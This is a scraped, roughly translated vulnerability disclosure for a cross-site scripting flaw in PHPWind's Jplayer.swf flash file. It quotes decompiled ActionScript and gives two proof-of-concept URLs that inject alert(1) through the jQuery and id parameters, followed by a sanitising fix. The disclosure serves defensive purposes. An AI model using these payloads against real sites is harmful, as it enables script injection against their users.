PHPWind flash xss 0day [2]

Source: Internet
Author: User

PHPWind uses a lot of flash files. 1. Vulnerability files: http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf 2. Check the code after decompiling: this. jQuery = (loaderInfo. parameters. jQuery + "('#") + loaderInfo. parameters. id) + "'). jPlayer ");...... Private function init (_ arg1: TimerEvent): void {this. myInitTimer. stop (); if (ExternalInterface. available ){...... ExternalInterface. call (this. jQuery, "jPlayerFlashEvent", JplayerEvent. JPLAYER_READY, this. extractStatusData (this. commonStatus) ;};}www.2cto. com3. We can see that in the above Code, the jQuery variable is named by loaderInfo. parameters. jQuery and loaderInfo. parameters. id. call. 4. You can construct two POC files as follows, so there are two xss files: http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf ? JQuery = alert (1)} catch (e ){}// http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf ? Id = ')} catch (e) {alert (1)} // proof of vulnerability: http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf ? JQuery = alert (1)} catch (e ){}// http://www.phpwind.net/res/js/dev/util_libs/jPlayer/Jplayer.swf ? Id = ')} catch (e) {alert (1 )}//Solution:You can refer to swfupload.swf that place the repair method, is to put non-a-zA-Z0-9 _ character replace is empty

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.